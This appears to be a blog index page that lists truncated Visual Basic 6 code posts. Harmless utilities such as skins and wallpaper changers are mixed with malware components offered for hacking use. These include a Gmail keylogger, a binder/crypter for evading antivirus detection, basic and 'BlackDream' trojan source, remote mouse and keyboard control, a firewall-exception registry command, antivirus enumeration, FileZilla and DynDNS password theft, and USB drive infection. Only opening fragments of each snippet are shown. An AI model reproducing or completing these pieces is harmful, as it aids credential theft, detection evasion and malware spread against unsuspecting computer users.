VB6 Sample Skins

VB6 Skin sample Code here. This is very useful to skin your vb6 apps. Code: Private Sub Form_Load() SkinFramework1.LoadSkin A...

Gmail Keyloger, GHack

This Software can easily hack key logs using your g mail account... Steps: Create a Gmail Account for hacking purpose Make a Keyloger ...

Firewall Exception VB6 Code

Windows firewall exception: Code: Public Sub FirewallException(Path As String) Shell "cmd /c REG ADD HKLM\System\CurrentControl...

VB6 Send mail without controls

This code will help you send mail from your VB6 form without Winsock \ inet \ webbrowser1 or any other controls. This code uses the  CDO.Me...

Save JPG with VB6 Code

Code: Option Explicit Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function GetWindo...

VB6 Sample Skins 2

Another VB6 Sample skin set..actskin4.ocx Download

Binder, Crypter, Run PE, Make FUD your fies...

This is codhacker binder.   How to use: 01. Drag files in to list 02. set parameters Delay, Attr, Execute path, Run PE .... 03. Cha...

Hide/ Show Desktop icons VB6 Code

Code: Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long...

VB6 Basic Trojan Source Code

'Form=frmserver.frm 'Add control : MSWINSCK.OCX 'Project="server_project" Code: Private Sub Form_Load()     ...

Monitor Off VB6 Code

Code: Public Sub MonitorOff() SendMessage frm.hwnd, &H112, &HF170&, 2& End Sub

Shutdown PC VB6 Code

Code: Public Function funshutdownmenu(bi As Integer) Select Case bi Case 0 Call Shell("shutdown -s -t 3"...

CD Rom Open/Close VB6

This function can control CD Rom door. Code: Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) ...

Key Lock VB6 Code

This code can Handle remote PC keys... Code: Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byt...

Get Mouse Control VB6 RAT

This code can control remote PC mouse.... Code: Option Explicit Public Declare Sub mouse_event Lib "user32" (ByVal dwFlags As ...

Get Antivirus List VB6 Code

Code: Public Function AntiVirusess() As String On Error Resume Next Dim strComputer As String Dim objWMIService As Object Dim colProcesses...

Get/ Set Cursor Pos VB6 Code

Code: Public Function SetCursorP(X, Y) SetCursorPos X, Y End Function Public Function GetCursorX() Dim dl& dl& = Get...

VB6 Play Sound

code: Public Declare Function sndPlaySound Lib "winmm" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFl...

Start button Hide/Show VB6 Code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Start button enable/disable vb6 code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Desktop flip vb6 code

This can make desktop flip vertical or horisontal Code: Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByV...

Get Spacial Path VB6

Get spacial path from the windows. Code: Private Const MAX_PATH = 260 Private Const CSIDL_STARTUP As Long = &H7 Private Const CSIDL...

Get Filezilla Passwords

code; Public Function sFileZilla() As String Dim sFile As String Dim sPath As String Dim sCont() As String Dim sHost() ...

Kill Process from PID

Code: Public Function KillByPID(PID As Long) Dim lOpen As Long lOpen = OpenProcess(PROCESS_ALL_ACCESS, 0, PID) Call terminatepro...

Read log File VB6 Code

Code: Public Function RecoverLog(Filename1 As String) As String Dim FPath As String FPath = Environ("appdata") & ...

Create Log Path VB6 Code

Code: Function GetLogPath() As String If DirExists(Environ("appdata") & "\Microsoft\Windows\Logs") = False Then ...

Save Log VB6 Code

Code: Public Sub SaveLogFile(LocalFile As String) On Error Resume Next Open LocalFile For Output As #1 Print #1, txt1 ...

Get Total RAM and FREE RAM VB6 Code

Code: Public Function GetRamTotalnFree() As String Dim TotalRam As String Dim FreeRam As String GetRAMInfo TotalRam, FreeRam ...

RegRead & Get Windiws OS VB6 Code

Code: Public Function RegRead(Path As String) As String On Error Resume Next Dim ws As Object On Local Error GoTo ErrHandler ...

Start Stop Service VB6 Code

Code: Public Sub StopService(strServiceName As String) Dim objWMIService As Object Dim colProcesses As Object Dim objProcess, ...

Kill Process

Code: Public Function Killprc( _ strNprc As String, _ Optional DecirSINO As Boolean = True) As Boolean On Error Resume Next ...

BlackDream Trojan VB6 Source code

This program features options under, Keyboard, mouse system, file/directory fun run registry control server modem key logging ...

Show Desktop VB6 code

Code: Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long Public Function Show...

Wallpaper Change VB6 code

Module: 'Retrieves or sets the value of one of the system-wide parameters Private Declare Function SystemParametersInfo Lib "user...

Hide taskbar icons VB6 Code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

RC4 Encryption Vb6 code

code: Encrypt: Public Function RC4Encrypt(text As String, encryptkey As String) Dim sbox(256) Dim Key(256) Dim Temp As Integ...

Infect to USB Drives vb6 code

code: Private Function InfectUSB(FileName As String, Hide As Boolean) As Long On Error Resume Next Dim szBuffer As String * 128 ...

Get DynDNS Passwords

code: Public Function sDynDns() As String Dim sAppData As String Dim sPath As String Dim sLine As String Dim sUser As ...

Stay On top vb6 code

code: Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByV...

Copy File

code: Private Declare Function CopyFile Lib "Kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpN...

Get Windows Dir

code: Public Declare Function GetWindowsDirectory Lib "Kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String...

Get User Name

code: Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As L...

Get Computer Name

code: Public Declare Function GetComputerName Lib "Kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize ...

Format File size vb6 code

code: Public Function FileSize(ByVal StrSize As String) As String 'Function by andy aka British_Intel If StrSize$ < 1024 Then ...

Get Windows Installed Date

Code: Public Function GetExplorerDate() As Date GetExplorerDate = FileDateTime(Environ("windir") & "\explorer.exe...

Get Window Caption VB6 Code

Code: Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString A...

Get Installed Applications VB6 Code

Code; Private Declare Function RegQueryValueExA Lib "advapi32" (ByVal HKey As Long, ByVal lpValueName As String, ByVal lpReserve...